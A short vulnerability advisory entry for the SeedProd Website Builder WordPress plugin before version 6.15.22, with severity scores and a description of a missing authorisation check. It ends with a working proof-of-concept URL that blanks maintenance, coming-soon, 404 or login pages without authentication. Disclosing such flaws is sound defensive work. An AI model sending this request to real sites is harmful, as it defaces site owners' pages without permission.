Website Builder by SeedProd < 6.15.22 - Unauthenticated Plugin Page Content Update

2024-02-0100:00:00

wpvulndb

website builder

seedprod

unauthenticated

plugin

page content update

maintenance mode

coming soon

404

exploit

7.7 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

24.1%

JSON

Description The plugin does not have authorisation in its seedprod_lite_new_lpage function, allowing unauthenticated attackers to update the contents of coming-soon, maintenance pages, login and 404 pages set up with the plugin to a blank state

As unauthenticated, open the following URL to put the Maintenance Mode page as blank: https://example.com/wp-admin/admin-post.php?page=seedprod_lite_template&id=0&type=mm

To update other page, change the type parameter accordingly:
- cs for Coming Soon
- mm for Maintenance Mode
- p404 for 404
- loginp for Login Page